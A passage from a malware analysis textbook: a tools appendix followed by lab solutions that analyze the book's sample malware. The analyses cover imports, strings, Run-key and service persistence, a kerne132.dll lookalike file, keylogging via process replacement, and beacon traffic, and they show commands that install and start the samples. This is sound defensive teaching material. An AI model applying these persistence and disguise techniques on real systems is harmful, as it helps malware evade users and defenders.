PEiD
PEiD is a free static analysis tool used for packer and compiler detection. 
It includes more than 600 signatures for detecting packers, cryptors, and 
compilers in PE format files. PEiD also has plug-ins available for down-
load, the most useful of which is Krypto ANALyzer (KANAL). KANAL 
can be used to find common cryptographic algorithms in PE files and 
provides the ability to export the information to IDA Pro. We discuss 
PEiD in Chapters 1, 13, and 18. Although the PEiD project has been 
discontinued, you should still be able to download the tool from http://
www.peid.info/. 

PEview
PEview is a freely available tool for viewing the PE file structure. You can 
view the PE header, individual sections, and the import/export tables. 
We use PEview throughout the book and discuss it in Chapter 1. You can 
download PEview from http://www.magma.ca/~wjr/.
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Process Explorer
Process Explorer is a powerful task manager that is used in dynamic anal-
ysis to provide insight into processes currently running on a system. Pro-
cess Explorer can show you the DLLs for individual processes, handles, 
events, strings, and so on. We discuss Process Explorer in Chapter 3. You 
can download Process Explorer as part of the Sysinternals Suite of tools 
from http://www.sysinternals.com/.

Process Hacker
Process Hacker is a powerful task manager similar to Process Explorer, 
but with many added features. It can scan for strings and regular expres-
sions in memory, inject or unload a DLL, load a driver, create or start 
a service, and so on. You can download Process Hacker from http://
processhacker.sourceforge.net/.

Process Monitor
Process Monitor (procmon) is a dynamic analysis tool useful for viewing 
real-time filesystem, registry, and process activity. You can filter its output 
to remove the noise. We discuss Process Monitor in Chapter 3. You can 
download Process Monitor as part of the Sysinternals Suite of tools from 
http://www.sysinternals.com/.

Python
The Python programming language allows you quickly code tasks when 
performing malware analysis. Throughout the book and labs, we use 
Python. As discussed in Chapters 5 and 9, IDA Pro and Immunity Debug-
ger have built-in Python interpreters, allowing you to quickly automate 
tasks or change the interface. We recommend learning Python and 
installing it on your analysis machine. Download Python for free from 
http://www.python.org/.

Regshot
Regshot is a dynamic analysis tool that allows you to take and compare 
two registry snapshots. To use it, you simply take a snapshot of the regis-
try, run the malware, wait for it to finish making any system changes, take 
the second snapshot, and then compare the two. Regshot can also be 
used for taking and comparing two snapshots of any filesystem directory 
you specify. You can download Regshot for free from http://sourceforge
.net/projects/regshot/.

Resource Hacker
Resource Hacker is a useful static analysis utility for viewing, renaming, 
modifying, adding, deleting, and extracting resources for PE-formatted 
binaries. The tool works with both x86 and x64 architectures. Because 
malware often extracts more malware, a DLL, or a driver from its resource 
section at runtime, we find this tool useful for extracting those sections 
easily without running the malware. We discuss Resource Hacker in 
Chapter 1 and the Chapter 12 labs. You can download Resource Hacker 
from http://www.angusj.com/resourcehacker/.
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Sandboxes
In Chapter 3, we discuss the pluses and minuses of using sandboxes. 
Many sandboxes are publicly available, and you can also write your own. 
Public sandboxes are a decent choice because they are always being 
developed in an effort to stay on top of the market. We demonstrate 
GFI Sandbox in Chapter 3, but there are many others, including Joe 
Sandbox, BitBlaze, Comodo, ThreatExpert, Anubis, Norman, Cuckoo, 
Zero Wine, Buster Sandbox, and Minibis. As with hex editors, everyone 
has a preference, so try a few to see what works for you. 

Sandboxie and Buster Sandbox Analyzer
Sandboxie is a program that runs programs in an isolated environment 
to prevent them from making permanent changes to your system. Sand-
boxie was designed to allow secure web browsing, but its sandbox aspect 
makes it useful for malware analysis. For example, you can use it to cap-
ture filesystem and registry accesses of the program you are sandboxing. 
Buster Sandbox Analyzer (BSA) can be used with Sandboxie to provide 
automated analysis and reporting. Sandboxie and BSA can be down-
loaded from http://www.sandboxie.com/ and http://bsa.isoftware.nl/.

Snort
Snort is the most popular open source network intrusion detection sys-
tem (IDS). We discuss writing network-based signatures for Snort in 
Chapter 14. Snort can be run actively or offline against packet captures. 
If you write network signatures for malware, using Snort to test them is a 
good place to start. You can download Snort from http://www.snort.org/. 

Strings
Strings is a useful static analysis tool for examining ASCII and Unicode 
strings in binary data. Using Strings is often a quick way to get a high-
level overview of malware capability, but the program’s usefulness can be 
thwarted by packing and string obfuscation. We discuss Strings in Chap-
ter 1. You can download Strings as part of the Sysinternals Suite of tools 
from http://www.sysinternals.com/.

TCPView
TCPView is a tool for graphically displaying detailed listings of all TCP 
and UDP endpoints on your system. This tool is useful in malware analy-
sis because it allows you to see which process owns a given endpoint. 
TCPView can help you track down a process name when your analysis 
machine connects over a port and you have no idea which process is 
responsible (as often happens with process injection, as discussed in 
Chapter 12). You can download TCPView as part of the Sysinternals 
Suite of tools from http://www.sysinternals.com/.

The Sleuth Kit
The Sleuth Kit (TSK) is a C library and set of command-line tools for 
forensic analysis that can be used to find alternate data streams and files 
hidden by rootkits. TSK does not rely on the Windows API to process 
NTFS and FAT filesystems. You can run TSK on Linux or using Cygwin in 
Windows. You can download TSK for free from http://www.sleuthkit.org/.
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Tor
Tor is a freely available onion routing network, allowing you to browse 
anonymously over the Internet. We recommend using Tor whenever 
conducting research during analysis, such as checking IP addresses, 
performing Internet searches, accessing domains, or looking for any 
information you might not want exposed. We don’t generally recom-
mend letting malware connect over a network, but if you do, you should 
use a technology like Tor. After you install Tor, and before you start 
browsing, visit a site like http://whatismyipaddress.com/ to confirm that 
the IP returned by the website is not your IP address. Tor can be down-
loaded for free from https://www.torproject.org/.

Truman
Truman is a tool for creating a safe environment without using virtual 
machines. It consists of a Linux server and a client machine running 
Windows. Like INetSim, Truman emulates the Internet, but it also pro-
vides functionality to easily grab memory from the Windows machine 
and reimage it quickly. Truman comes with scripts to emulate services 
and perform analysis on Linux. Even though this tool is no longer in 
development, it can help you understand how to set up your own bare-
metal environment. You can download Truman for free from http://
www.secureworks.com/research/tools/truman/.

WinDbg
WinDbg is the most popular all-around debugger, distributed freely by 
Microsoft. You can use it to debug user-mode, kernel-mode, x86, and x64 
malware. WinDbg lacks OllyDbg’s robust GUI, providing a command-
line interface instead. In Chapter 10, we focus on the kernel-mode usage 
of WinDbg. Many malware analysts choose to use OllyDbg for user-mode 
debugging and WinDbg for kernel debugging. WinDbg can be down-
loaded independently or as part of the Windows SDK from http://msdn
.microsoft.com/.

Wireshark
Wireshark is an open source network packet analyzer and useful tool for 
dynamic analysis. You can use it to capture network traffic generated by 
malware and to analyze many different protocols. Wireshark is the most 
popular freely available tool for packet capturing and has an easy-to-use 
GUI. We discuss Wireshark usage in Chapter 3. You can download Wire-
shark from http://www.wireshark.org/.

UPX
Ultimate Packer for eXecutables (UPX) is the most popular packer used 
by malware authors. In Chapters 1 and 18, we discuss how to automati-
cally and manually unpack malware that uses UPX. If you encounter this 
packer in the wild, try to unpack the malware with upx –d. You can down-
load this packer from http://upx.sourceforge.net/. 

VERA
Visualizing Executables for Reversing and Analysis (VERA) is a tool for 
visualizing compiled executables for malware analysis. It uses the Ether 
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framework to generate visualizations based on dynamic trace data to 
help with analysis. VERA gives you a high-level overview of malware and 
can help with unpacking. It can also interface with IDA Pro to help you 
browse between the VERA graphs and IDA Pro disassembly. You can 
download VERA from http://www.offensivecomputing.net/. 

VirusTotal
VirusTotal is an online service that scans malware using many different 
antivirus programs. You can upload a file directly to VirusTotal, and it 
will check the file with more than 40 different antivirus engines. If you 
don’t want to upload your malware, you can also search the MD5 hash to 
see if VirusTotal has seen the sample before. We discuss VirusTotal at the 
start of Chapter 1 since it is often a useful first step during malware anal-
ysis. You can access VirusTotal at http://www.virustotal.com/.

VMware Workstation
VMware Workstation is a popular desktop virtualization product. There 
are many alternatives to VMware, but we use it in this book due to its 
popularity. Chapter 2 highlights many VMware features, such as virtual 
networking, snapshotting (which allows you to save the current state of a 
virtual machine), and cloning an existing virtual machine. You can pur-
chase VMware Workstation from http://www.vmware.com/ or download 
VMware Player (with limited functionality) for free from the same site.

Volatility Framework
The Volatility Framework is an open source collection of tools written in 
Python for analyzing live memory captures. This suite of tools is useful 
for malware analysis, as you can use it to extract injected DLLs, perform 
rootkit detection, find hidden processes, and so on. This tool suite has 
many users and contributors, so new capabilities are constantly being 
developed. You can download the latest version from http://code.google
.com/p/volatility/.

YARA
YARA is an open source project used to identify and classify malware 
samples that will allow you to create descriptions of malware families 
based on strings or any other binary patterns you find in them. These 
descriptions are called rules, and they consist of a set of strings and logic. 
Rules are applied to binary data like files or memory in order to classify a 
sample. This tool is useful for creating your own custom antivirus-like 
software and signatures. You can download YARA for free from http://
code.google.com/p/yara-project/.

Zero Wine
Zero Wine is an open source malware sandbox that is distributed as a vir-
tual machine running Debian Linux. Malware samples are executed using 
Zero Wine to emulate the Windows API calls, and the calls are logged to 
report on malicious activity. Zero Wine can even catch and defeat certain 
anti-virtual machine, anti-debugging, and anti-emulation techniques. You 
can download Zero Wine from http://zerowine.sourceforge.net/.
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1

S O L U T I O N S  T O  L A B S

This appendix contains solutions to the labs that 
appear at the ends of most chapters. For each lab, we 
provide a short answer section followed by detailed 
analysis. The short answer section is useful for quickly 
checking to see if you got the right answer. The detailed analysis is useful for 
following step-by-step exactly how to complete the lab. If you have trouble 
completing a lab, use the detailed analysis section to guide you through it.

The labs are designed to run on a Windows XP machine with administra-
tive privileges. Many of the labs will work on Windows Vista or Windows 7, 
but some will not.

Lab 1-1 Solutions

Short Answers
1. These files were written specifically for this book, so as of this writing, 

you should not find a signature for them on VirusTotal.com. Of course, if 
these files become part of the antivirus signatures as a result of the publi-
cation of this book, the results will be different.



2. Both files were compiled on December 19, 2010, within 1 minute of each 
other.

3. There are no indications that either file is packed or obfuscated.

4. The interesting imports from Lab01-01.exe are FindFirstFile, FindNextFile, 
and CopyFile. These imports tell us that the program searches the file-
system and copies files. The most interesting imports from Lab01-01.dll 
are CreateProcess and Sleep. We also see that this file imports functions 
from WS2_32.dll, which provides network functionality.

5. Examine C:\Windows\System32\kerne132.dll for additional malicious activ-
ity. Note that the file kerne132.dll, with the number 1 instead of the letter 
l, is meant to look like the system file kernel32.dll. This file can be used as 
a host indicator to search for the malware.

6. The .dll file contains a reference to local IP address 127.26.152.13. This 
address is an artifact of this program having been created for educational 
and not malicious purposes. If this was real malware, the IP address should 
be routable, and it would be a good network-based indicator for use in 
identifying this malware.

7. The .dll file is probably a backdoor. The .exe file is used to install or run 
the DLL.

Detailed Analysis
To answer the first question, we upload the file to VirusTotal.com, which per-
forms a scan against antivirus signatures.

Next, we open the files in PEview. For each file, we navigate to the 
IMAGE_NT_HEADERSIMAGE_FILE_HEADERTime Date Stamp field, 
which tells us the compile time. Both files were compiled on December 19, 
2010, within 1 minute of each other. This confirms our suspicions that these 
files are part of the same package. In fact, a compile time that close strongly 
suggests that these files were created at the same time by the same author. 
We know that the files are related because of the compile times and where 
they were found. It’s likely that the .exe will use or install the .dll, because 
DLLs cannot run on their own.

Then we check to see if either file is packed. Both files have small but 
reasonable numbers of imports and well-formed sections with appropriate 
sizes. PEiD labels this as unpacked code compiled with Microsoft Visual C++, 
which tells us that these files are not packed. The fact that the files have 
few imports tells us that they are likely small programs. Notice that the DLL 
file has no exports, which is abnormal, but not indicative of the file being 
packed. (You will learn more about this export section when we return to 
these files in Lab 7-3.)

Next, we look at the files’ imports and strings beginning with the .exe. All 
of the imports from msvcrt.dll are functions that are included in nearly every 
executable as part of the wrapper code added by the compiler.

When we look at the imports from kernel32.dll, we see functions for 
opening and manipulating files, as well as the functions FindFirstFile and 
FindNextFile. These functions tell us that the malware searches through the 
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filesystem, and that it can open and modify files. We can’t be sure what the 
program is searching for, but the .exe string suggests that it is searching for 
executables on the victim’s system.

We also see the strings C:\Windows\System32\Kernel32.dll and C:\windows\
system32\kerne132.dll. (Notice the change from the letter l to the number 1 
in kernel32.dll.) The file kerne132.dll is clearly meant to disguise itself as the 
Windows kernel32.dll file. The file kerne132.dll can serve as a host-based indica-
tor to locate infections, and it is one that we should analyze for malicious code.

Next, we look at the imports and strings for Lab01-01.dll, which imports 
functions from WS2_32.dll. Because these functions are imported by ordinal, 
we don’t know which functions are being imported. We also see two interest-
ing functions imported from kernel32.dll: CreateProcess and Sleep, which are 
commonly used as backdoors. These functions are particularly interesting to 
us in combination with the strings exec and sleep. The exec string is probably 
sent over the network to command the backdoor to run a program with 
CreateProcess. The sleep string is probably used to command the backdoor 
program to sleep. (This malware is complex. We’ll return to it in Lab 7-3, 
once we have covered the skills to analyze it fully.)

Lab 1-2 Solutions

Short Answers
1. As of this writing, the file matches 3 of 41 antivirus signatures.

2. There are several indications that the program is packed with UPX. You 
can unpack it by downloading UPX and running upx –d.

3. After unpacking the file, you’ll see that the most interesting imports are 
CreateService, InternetOpen, and InternetOpenURL.

4. You should check infected machines for a service called Malservice and 
for network traffic to http://www.malwareanalysisbook.com/.

Detailed Analysis
When analyzing Lab 1-2, we upload the file to VirusTotal.com and see that it 
matches at least three virus signatures. One antivirus engine identifies it as a 
malicious downloader that downloads additional malware; the other two iden-
tify it as packed malware. This demonstrates the usefulness of VirusTotal.com. 
Had we used only one antivirus program to scan this file, we would probably 
not get any information.

Upon opening the file with PEview, several indicators tell us that this 
file is packed. The most obvious indicators are sections named UPX0, UPX1, 
and UPX2—section names for UPX-packed malware. We could use PEiD to 
confirm the file’s packed nature, but it is not foolproof. Even if PEiD fails 
to identify the file as UPX-packed, notice the relatively small number of 
imports and that the first section, UPX0, has a virtual size of 0x4000 but a raw 
data size of 0. UPX0 is the largest section, and it’s marked executable, so it’s 
probably where the original unpacked code belongs.
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Having identified the program as packed, we can unpack it by download-
ing UPX from http://upx.sourceforge.net/ and running the following command:

upx -o newFilename -d originalFilename

The -d option says decompress the file, and the -o option specifies the 
output filename.

After unpacking, we look at the imports sections and the strings. The 
imports from kernel32.dll and msvcrt.dll are imported by nearly every program, 
so they tell us little about this specific program. The imports from wininet.dll 
tell us that this code connects to the Internet (InternetOpen and InternetOpenURL), 
and the import from advapi32.dll (CreateService) tell us that the code creates a 
service. When we look at the strings, we see www.malwareanalysisbook.com, which 
is probably the URL opened by InternetOpenURL as well as by Malservice, which 
could be the name of the service that is created.

We can’t be sure what this program is doing, but we’ve found some indi-
cators to help search for this malware across a network.

Lab 1-3 Solutions

Short Answers
1. As of this writing, 25 of 43 virus engines identify this sample as malware.

2. The file is packed, but we can’t unpack it at this time.

3. This question can’t be answered without unpacking the file.

4. This question can’t be answered without unpacking the file.

Detailed Analysis
For the file Lab01-03.exe, VirusTotal.com reports a variety of different signa-
tures with vague-sounding names. The most common signature is that of a 
file packed with the FSG packer.

When we open the file in PEview, we see several indications that the file 
is packed. The first is that the file sections have no names. Next, we see that 
the first section has a virtual size of 0x3000, but a raw data size of 0. We run 
PEiD to confirm, and it identifies the packer as FSG 1.0 -> dulek/xt.

To confirm that the file is packed, we search for the imports, but there 
doesn’t seem to be an import table. An executable file without an import 
table is extremely rare, and its absence tells us that we should try another 
tool, because PEview is having trouble processing this file.

We open the file with Dependency Walker, and see that it does have an 
import table, but it imports only two functions: LoadLibrary and GetProcAddress. 
Packed files often import only these two functions, which further indicate 
that this file is packed. We can try to unpack the file using UPX, but we 
know that the file is packed with FSG, rather than UPX. We’ll return to this 
file in Chapter 18, once we have covered the skills to unpack it.
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Lab 1-4 Solutions

Short Answers
1. As of this writing, 16 of 43 antivirus engines identify this as malicious 

code that downloads and/or drops additional malware onto a system.

2. There are no indications that the file is packed or obfuscated.

3. According to the file header, this program was compiled in August 2019. 
Clearly, the compile time is faked, and we can’t determine when the file 
was compiled.

4. The imports from advapi32.dll indicate that the program is doing some-
thing with permissions. The imports from WinExec and WriteFile, along 
with the results from VirusTotal.com, tell us that the program writes a file 
to disk and then executes it. There are also imports for reading informa-
tion from the resource section of the file.

5. The string \system32\wupdmgr.exe indicates that this program could create 
or modify a file at that location. The string www.malwareanalysisbook.com/
updater.exe probably indicates where additional malware is stored, ready 
for download.

6. The resource section contains another PE executable. Use Resource 
Hacker to save the resource as binary data, and then analyze the binary 
file as you would analyze any executable. The executable in the resource 
section is a downloader program that downloads additional malware.

Detailed Analysis
For the Lab01-04.exe file, the results from VirusTotal.com suggest a program 
related to a downloader. PEview gives no indication that the file is packed 
or obfuscated.

The imports from advapi32.dll tell us that program does something 
with permissions, and we can assume that it tries to access protected files 
using special permissions. The imports from kernel32.dll tell us that the pro-
gram loads data from the resource section (LoadResource, FindResource, and 
SizeOfResource), writes a file to disk (CreateFile and WriteFile), and executes 
a file on the disk (WinExec). We can also guess that the program writes files 
to the system directory because of the calls to GetWindowsDirectory.

Examining the strings, we see www.malwareanalysisbok.com/updater.exe, 
which is probably the location that holds the malicious code for download. 
We also see the string \system32\wupdmgr.exe, which, in combination with 
the call to GetWindowsDirectory, suggests that a file in C:\Windows\System32\
wupdmgr.exe is created or edited by this malware.

We now know with some confidence that this malicious file downloads 
new malware. We know where it downloads the malware from, and we can 
guess where it stores the downloaded malware. The only thing that’s odd is 
that the program doesn’t appear to access any network functions.
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The most interesting part of this malware is the resource section. When 
we open this malware in Resource Hacker, we see one resource. Resource 
Hacker identifies the type of the resource as binary, meaning arbitrary binary 
data, and when we look at the data, most of it is meaningless. But notice the 
string !This program cannot be run in DOS mode. This string is the error message 
included in the DOS header at the beginning of all PE files. We can there-
fore conclude that this resource is an additional executable file stored in the 
resource section of Lab01-04.exe. This is a fairly common technique used in 
malware.

To continue analyzing this file with Resource Hacker, we click Action
Save resource as binary file. After saving the resource, we open the file in 
PEview to analyze the file embedded within it. Looking at the imports, we see 
that the embedded file is the one that accesses the network functions. It calls 
URLDownloadToFile, a function commonly used by malicious downloaders. It 
also calls WinExec, which probably executes the downloaded file.

Lab 3-1 Solutions

Short Answers
1. The malware appears to be packed. The only import is ExitProcess, 

although the strings appear to be mostly clear and not obfuscated.

2. The malware creates a mutex named WinVMX32, copies itself into C:\
Windows\System32\vmx32to64.exe. and installs itself to run on system 
startup by creating the registry key HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run\VideoDriver set to the copy location.

3. The malware beacons a consistently sized 256-byte packet containing 
seemingly random data after resolving www.practicalmalwareanalysis.com.

Detailed Analysis
We begin with basic static analysis techniques, by looking at the malware’s PE 
file structure and strings. Figure 3-1L shows that only kernel32.dll is imported.

Figure 3-1L: PEview of Lab03-01.exe showing only one import

�
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There is only one import to this binary, ExitProcess, as seen at  in the 
import address table. Without any imports, it is tough to guess the program’s 
functionality. This program may be packed, since the imports will likely be 
resolved at runtime.

Next, we look at the strings, as shown in the following listing.

StubPath
SOFTWARE\Classes\http\shell\open\commandV
Software\Microsoft\Active Setup\Installed Components\
test
www.practicalmalwareanalysis.com
admin
VideoDriver
WinVMX32-
vmx32to64.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
AppData

We wouldn’t expect to see strings, since the imports led us to believe that 
the file is packed, but there are many interesting strings, such as registry loca-
tions and a domain name, as well as WinVMX32, VideoDriver, and vmx32to64.exe. 
Let’s see if basic dynamic analysis techniques will show us how these strings 
are used.

Before we run the malware, we run procmon and clear out all events; 
start Process Explorer; and set up a virtual network, including ApateDNS, 
Netcat (listening on ports 80 and 443), and network capturing with Wireshark.

Once we run the malware, we start examining the process in Process 
Explorer, as shown in Figure 3-2L. We begin by clicking Lab03-01.exe in the 
process listing and select ViewLower Pane ViewHandles. In this view, we 
can see that the malware has created the mutex named WinVMX32 at . We also 
select ViewLower Pane ViewDLLs and see that the malware has dynami-
cally loaded DLLs such as ws2_32.dll and wshtcpip.dll, which means that it has 
networking functionality.

Figure 3-2L: Process Explorer view of Lab03-01.exe 
showing the mutex it creates

�
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Next, we use procmon to look for additional information. We bring up 
the Filter dialog by selecting FilterFilter, and then set three filters: one on 
the Process Name (to show what Lab03-01.exe does to the system), and two 
more on Operation, as shown in Figure 3-3L. We include RegSetValue and 
WriteFile to show changes the malware makes to the filesystem and registry.

Figure 3-3L: Process Monitor Filter dialog showing filters set on 
Process Name and Operation

Having set our filters, we click Apply to see the filtered result. The entries 
are reduced from thousands to just the 10 seen in Figure 3-4L. Notice that 
there is only one entry for WriteFile, and there are nine entries for RegSetValue.

Figure 3-4L: Procmon filtered results (with three filters set)

As discussed in Chapter 3, we often need to filter out a certain amount of 
noise, such as entries 0 and 3 through 9 in Figure 3-4L. The RegSetValue on 
HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed is typical noise in the results 
because the random number generator seed is constantly updated in the 
registry by software.

We are left with two interesting entries, as shown in Figure 3-4L at  
and . The first is the WriteFile operation at . Double-clicking this entry 
tells us that it wrote 7,168 bytes to C:\WINDOWS\system32\vmx32to64.exe, 
which happens to be the same size as that of the file Lab03-01.exe. Opening 
Windows Explorer and browsing to that location shows that this newly created 
file has the same MD5 hash as Lab03-01.exe, which tells us that the malware 
has copied itself to that name and location. This can be a useful host-based 
indicator for the malware because it uses a hard-coded filename.

�
�
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Next, we double-click the entry at  in the figure, and see that the mal-
ware wrote the following data to the registry:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver:C:\WINDOWS\system32\vmx32to64.exe

This newly created registry entry is used to run vmx32to64.exe on system 
startup using the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run location 
and creating a key named VideoDriver. We can now bring up procmon’s Filter 
dialog, remove the Operation filters, and slowly comb through the entries 
for any information we may have missed.

Next, we turn our attention to the network analysis tools we set up for 
basic dynamic analysis. First we check ApateDNS to see if the malware per-
formed any DNS requests. Examining the output, we see a request for 
www.practicalmalwareanalysis.com, which matches the strings listing shown 
earlier. (To be sure that the malware has a chance to make additional DNS 
requests, if any, perform the analysis process a couple of times to see if the 
DNS request changes or use the NXDOMAIN functionality of ApateDNS.)

We complete the network analysis by examining the Netcat results, as 
shown in the following listing.

C:\>nc -l -p 443
\7⌠ëÅ¿A :°I,j!Yûöí?Ç:lƒh↨O±ⁿ)α←εg%┬∟#xp╧O+╙3Ω☺åiE☼?═■p}»╝/
º_∞~]ò£»ú¿¼▬F^"Äμ▒├
♦∟ªòj╡<û(y!∟♫5Z☺!♀va╪┴╗úI┤ßX╤â8╫²ñö'i¢k╢╓(√Q‼%O¶╡9.▐σÅw♀‼±Wm^┐#ñæ╬°☻/
[⌠│⌡xH╫▲É║‼
x?╦Æº│ºLƒ↕x┌gYΦ<└§☻μºx)╤SBxè↕◄╟♂4AÇ

It looks like we got lucky: The malware appears to beacon out over port 
443, and we were listening with Netcat over ports 80 and 443. (Use INetSim 
to listen on all ports at once.) We run this test several times, and the data 
appears to be random each time.

A follow-up in Wireshark tells us that the beacon packets are of consis-
tent size (256 bytes) and appear to contain random data not related to the 
SSL protocol that normally operates over port 443.

Lab 3-2 Solutions

Short Answers
1. To install the malware as a service, run the malware’s exported installA 

function via rundll32.exe with rundll32.exe Lab03-02.dll,installA.

2. To run the malware, start the service it installs using the net command 
net start IPRIP.

3. Use Process Explorer to determine which process is running the service. 
Since the malware will be running within one of the svchost.exe files on 
the system, hover over each one until you see the service name, or search 
for Lab03-02.dll using the Find DLL feature of Process Explorer.
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4. In procmon you can filter on the PID you found using Process Explorer.

5. By default, the malware installs as the service IPRIP with a display name of 
Intranet Network Awareness (INA+) and description of “Depends INA+, Col-
lects and stores network configuration and location information, and 
notifies applications when this information changes.” It installs itself for 
persistence in the registry at HKLM\SYSTEM\CurrentControlSet\Services\IPRIP\
Parameters\ServiceDll: %CurrentDirectory%\Lab03-02.dll. If you rename 
Lab03-02.dll to something else, such as malware.dll, then it writes malware.dll 
into the registry key, instead of using the name Lab03-02.dll.

6. The malware resolves the domain name practicalmalwareanalysis.com and 
connects to that host over port 80 using what appears to be HTTP. It 
does a GET request for serve.html and uses the User-Agent %ComputerName% 
Windows XP 6.11.

Detailed Analysis
We begin with basic static analysis by looking at the PE file structure and 
strings. Figure 3-5L shows that this DLL has five exports, as listed from  and 
below. The export ServiceMain suggests that this malware needs to be installed 
as a service in order to run properly.

Figure 3-5L: PEview of Lab03-02.dll exports

The following listing shows the malware’s interesting imported functions 
in bold.

OpenService
DeleteService
OpenSCManager
CreateService
RegOpenKeyEx

�
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RegQueryValueEx
RegCreateKey
RegSetValueEx
InternetOpen
InternetConnect
HttpOpenRequest
HttpSendRequest
InternetReadFile

These include service-manipulation functions, such as CreateService, and 
registry-manipulation functions, such as RegSetValueEx. Imported networking 
functions, such as HttpSendRequest, suggest that the malware uses HTTP.

Next, we examine the strings, as shown in the following listing.

Y29ubmVjdA==
practicalmalwareanalysis.com
serve.html
dW5zdXBwb3J0
c2xlZXA=
Y21k
cXVpdA==
Windows XP 6.11
HTTP/1.1
quit
exit
getfile
cmd.exe /c 
Depends INA+, Collects and stores network configuration and location 
information, and notifies applications when this information changes.
%SystemRoot%\System32\svchost.exe -k 
SYSTEM\CurrentControlSet\Services\
Intranet Network Awareness (INA+)
%SystemRoot%\System32\svchost.exe -k netsvcs
netsvcs
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
IPRIP

We see several interesting strings, including registry locations, a domain 
name, unique strings like IPRIP and serve.html, and a variety of encoded strings. 
Basic dynamic techniques may show us how these strings and imports are used.

The results of our basic static analysis techniques lead us to believe that 
this malware needs to be installed as a service using the exported function 
installA. We’ll use that function to attempt to install this malware, but before 
we do that, we’ll launch Regshot to take a baseline snapshot of the registry 
and use Process Explorer to monitor the processes running on the system. 
After setting up Regshot and Process Explorer, we install the malware using 
rundll32.exe, as follows:

C:\>rundll32.exe Lab03-02.dll,installA
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After installing the malware, we use Process Explorer to confirm that it 
has terminated by making sure that rundll32.exe is no longer in the process 
listing. Next, we take a second snapshot with Regshot to see if the malware 
installed itself in the registry.

The edited Regshot results are shown in the following listing.

----------------------------------
Keys added
----------------------------------
HKLM\SYSTEM\CurrentControlSet\Services\IPRIP 
----------------------------------
Values added
----------------------------------
HKLM\SYSTEM\CurrentControlSet\Services\IPRIP\Parameters\ServiceDll: 
     "z:\Lab03-02.dll"
HKLM\SYSTEM\CurrentControlSet\Services\IPRIP\ImagePath: 
     "%SystemRoot%\System32\svchost.exe -k netsvcs" 
HKLM\SYSTEM\CurrentControlSet\Services\IPRIP\DisplayName: 
     "Intranet Network Awareness (INA+)" 
HKLM\SYSTEM\CurrentControlSet\Services\IPRIP\Description: 
     "Depends INA+, Collects and stores network configuration and location 
information, and notifies applications when this information changes." 

The Keys added section shows that the malware installed itself as the ser-
vice IPRIP at . Since the malware is a DLL, it depends on an executable to 
launch it. In fact, we see at  that the ImagePath is set to svchost.exe, which 
means that the malware will be launched inside an svchost.exe process. The 
rest of the information, such as the DisplayName and Description at  and , 
creates a unique fingerprint that can be used to identify the malicious service.

If we examine the strings closely, we see SOFTWARE\Microsoft\Windows NT\
CurrentVersion\SvcHost and a message "You specify service name not in Svchost//
netsvcs, must be one of following". If we follow our hunch and examine the 
\SvcHost\netsvcs registry key, we can see other potential service names we 
might use, like 6to4 AppMgmt. Running Lab03-02.dll,installA 6to4 will install 
this malware under the 6to4 service instead of the IPRIP service, as in the pre-
vious listing.

After installing the malware as a service, we could launch it, but first we’ll 
set up the rest of our basic dynamic tools. We run procmon (after clearing 
out all events); start Process Explorer; and set up a virtual network, including 
ApateDNS and Netcat listening on port 80 (since we see HTTP in the strings 
listing).

Since this malware is installed as the IPRIP service, we can start it using 
the net command in Windows, as follows:

c:\>net start IPRIP
The Intranet Network Awareness (INA+) service is starting.
The Intranet Network Awareness (INA+) service was started successfully.
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The fact that the display name (INA+) matches the information found in 
the registry tells us that our malicious service has started.

Next, we open Process Explorer and attempt to find the process in which 
the malware is running by selecting FindFind Handle or DLL to open the 
dialog shown in Figure 3-6L. We enter Lab03-02.dll and click Search. As shown 
in the figure, the result tells us that Lab03-02.dll is loaded by svchost.exe with 
the PID 1024. (The specific PID may differ on your system.)

Figure 3-6L: Searching for a DLL in Process Explorer

In Process Explorer, we select ViewLower Pane ViewDLLs and 
choose the svchost.exe running with PID 1024. Figure 3-7L shows the result. 
The display name Intranet Network Awareness (INA+) shown at  confirms that 
the malware is running in svchost.exe, which is further confirmed when we see 
at  that Lab03-02.dll is loaded.

Figure 3-7L: Examining service malware in Process Explorer

Next, we turn our attention to our network analysis tools. First, we check 
ApateDNS to see if the malware performed any DNS requests. The output 
shows a request for practicalmalwareanalysis.com, which matches the strings 
listing shown earlier.

NOTE It takes 60 seconds after starting the service to see any network traffic (the program does 
a Sleep(60000) before attempting network access). If the networking connection fails for 
any reason (for example, you forgot to set up ApateDNS), it waits 10 minutes before 
attempting to connect again.

�

�
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We complete our network analysis by examining the Netcat results, as 
follows:

c:\>nc -l -p 80
GET /serve.html HTTP/1.1
Accept: */*
User-Agent: MalwareAnalysis2 Windows XP 6.11
Host: practicalmalwareanalysis.com

We see that the malware performs an HTTP GET request over port 80 (we 
were listening over port 80 with Netcat since we saw HTTP in the string list-
ing). We run this test several times, and the data appears to be consistent 
across runs.

We can create a couple of network signatures from this data. Because 
the malware consistently does a GET request for serve.html, we can use that 
GET request as a network signature. The malware also uses the User-Agent 
MalwareAnalysis2 Windows XP 6.11. MalwareAnalysis2 is our malware analysis 
virtual machine’s name (so this portion of the User-Agent will be different 
on your machine). The second part of the User-Agent (Windows XP 6.11) is 
consistent and can be used as a network signature.

Lab 3-3 Solutions

Short Answers
1. The malware performs process replacement on svchost.exe.

2. Comparing the disk image of svchost.exe with its memory image 
shows that they are not the same. The memory image has strings 
such as practicalmalwareanalysis.log and [ENTER], but the disk image 
has neither.

3. The malware creates the log file practicalmalwareanalysis.log.

4. The program performs process replacement on svchost.exe to launch 
a keylogger.

Detailed Analysis
For this lab, we begin by launching Process Explorer and procmon. When 
procmon starts, the events stream by quickly, so we use FileCapture Events 
to toggle event capture on and off. (It’s best to keep event capture off until 
all dynamic analysis programs are started and you’re ready to execute the 
program.) We use FilterFilter to open the Filter dialog, and then ensure 
that only the default filters are enabled by clicking the Reset button.

Lab03-03.exe can be run from the command prompt or by double-clicking 
its icon. Once run, Lab03-03.exe should be visible inside Process Explorer. 
Notice how it creates the subprocess svchost.exe, and then exits, but leaves the 
svchost.exe process running as an orphaned process, as shown in Figure 3-8L. 
(An orphaned process has no parent process listed in the process tree structure.) 
